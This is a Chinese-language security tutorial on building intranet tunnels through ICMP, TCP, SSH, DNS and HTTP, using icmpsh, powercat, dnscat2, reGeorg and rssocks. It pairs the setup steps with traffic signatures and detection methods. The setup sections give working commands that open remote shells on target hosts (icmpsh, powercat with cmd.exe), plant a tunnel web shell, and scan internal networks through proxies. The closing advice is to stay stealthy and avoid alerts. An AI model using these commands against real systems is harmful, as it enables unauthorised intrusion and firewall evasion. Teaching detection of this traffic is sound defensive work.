内网穿透从搭建到溯源
字数 1787 2025-08-15 21:32:52
内网穿透技术从搭建到溯源详解
一、内网穿透概述
内网穿透是渗透测试人员在进入内网后,为绕过边界设备、防火墙及入侵检测设备对端口或数据包的拦截,实现稳定流量交互的技术。本文将从网络层、传输层和应用层三个层面介绍不同协议的隧道搭建技术,并分析各类隧道流量的特征,帮助攻击或防守人员掌握内网穿透技术及其溯源方法。
二、网络层隧道技术
1. ICMP隧道技术
适用场景:当目标网络关闭了常规端口但允许ICMP协议时(ICMP常用于网络连通性检测)。
常用工具:
- icmpsh
- PingTunnel
- powershell icmp
搭建步骤(以icmpsh为例):
-
攻击机(192.168.43.136)执行监听:
python icmpsh_m.py 192.168.43.136 192.168.43.109 -
目标机执行反弹命令:
icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128
流量特征分析:
- 普通ping包:4个32字节数据包,内容为"abcdefghigklmnopqrstuvwabcdefghi"
- ICMP隧道流量:
- 短时间内大量ICMP请求/回复
- 每个数据包含128字节数据(可配置)
- 数据内容包含命令执行结果
溯源方法:
- 监测单位时间内的ICMP数据包数量
- 检查数据包大小异常
- 分析数据包内容是否包含命令信息
三、传输层隧道技术
1. Powercat隧道
工具下载:
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
搭建步骤:
-
目标机执行:
Import-Module .\powercat.ps1 powercat -l -p 8888 -e cmd.exe -v -
攻击机连接:
nc 192.168.43.109 8888 -vv
流量特征:
- 大量TCP数据包
- 短时间内大量ACK回应包
- 夹杂PSH数据包(含数据内容)
- 数据包内容包含执行的命令及响应
防御方法:
- 分析数据包内容进行安全检测
四、应用层隧道技术
1. SSH隧道
SSH为应用层安全协议,提供加密的远程登录会话。SSH隧道常用于端口转发,分为三种类型:
(1) 本地转发
场景:外网通过DMZ资源访问内部无外网IP的资源
配置:
ssh -CfNg -L 1234:192.168.43.168:22 sobug@192.168.43.179
连接内部主机:
ssh -p 1234 sir@192.168.43.136
(2) 远程转发
场景:外网通过无外网IP的DMZ资源访问内部资源
配置:
ssh -CfNg -R 2345:192.168.43.168:22 root@192.168.43.136
连接内部主机:
ssh -p 1122 sir@127.0.0.1
(3) 动态转发
场景:在外网搭建SOCKS代理访问内网资源
配置:
ssh -CfNg -D 8888 sobug@192.168.43.179
溯源方法:
- 检查端口连接情况,特别是同一PID同时与外网和内网建立连接
- 监控SSH连接日志
2. DNS隧道
搭建步骤:
-
域名解析配置:
- 创建A记录指向VPS
- 创建NS记录,子域名解析指向A记录域名
- 测试DNS请求是否正常处理
-
服务端配置:
ruby dnscat2.rb mail.****.club -e open -c password --no-cache -
客户端连接:
./dnscat --secret=password mail.target.com
流量特征:
- 大量DNS请求数据包
- 请求域名前有加密字符串
- 记录分布于TXT、MX和CNAME记录
- 与普通DNS请求明显不同
防御方法:
- 设置受信任的DNS服务器
- 阻止传入/传出的TXT请求
- 对频繁DNS请求的设备进行禁用并警告
3. HTTP隧道
常用工具:reGeorg、tunna
搭建步骤:
- 上传tunnel文件(如tunnel.jsp)到目标服务器
- 搭建SOCKS5隧道:
python reGeorgSocksProxy.py -p 8888 -u http://target/tunnel.jsp - 配置代理工具(如Proxifier)使用本地8888端口
流量特征:
- HTTP请求中包含cmd、target和port参数
- 请求参数中的IP端口与实际数据包不一致
- 可观察到对内部服务的连接请求
溯源方法:
- 检查HTTP数据包中的IP参数
- 检索本机IP对可疑IP的操作记录
- 结合Windows日志分析
五、实战案例:Rssocks隧道搭建
场景:Linux系统下通过Rssocks搭建SOCKS隧道
步骤:
-
攻击机执行:
Rcsocks -l 5001 -p 8009 -vv -
目标机执行:
Rssocks -vv -s vpsip:1080 -
配置代理工具连接vpsip:1088
-
使用proxychains扫描内网:
proxychains nmap -sT -Pn 10.x.x.16
六、总结
内网穿透技术的关键点:
-
协议选择:根据目标网络环境选择合适的协议层隧道
- 网络层:ICMP(当常规端口被禁)
- 传输层:TCP/UDP(需要稳定连接)
- 应用层:HTTP/DNS/SSH(利用常见服务)
-
工具选择:
- ICMP隧道:icmpsh、PingTunnel
- TCP隧道:netcat、powercat
- SSH隧道:原生SSH客户端
- DNS隧道:dnscat2
- HTTP隧道:reGeorg、tunna
-
溯源防御:
- 监测异常流量模式(数量、大小、内容)
- 检查非常用端口连接
- 分析协议内容特征
- 结合系统日志进行关联分析
-
实战技巧:
- 多准备几种隧道方案以应对不同环境
- 注意工具在不同系统下的兼容性
- 隧道建立后验证连通性
- 保持隐蔽性,避免触发安全警报
通过掌握这些内网穿透技术和相应的溯源方法,安全人员可以更有效地进行渗透测试或防御工作。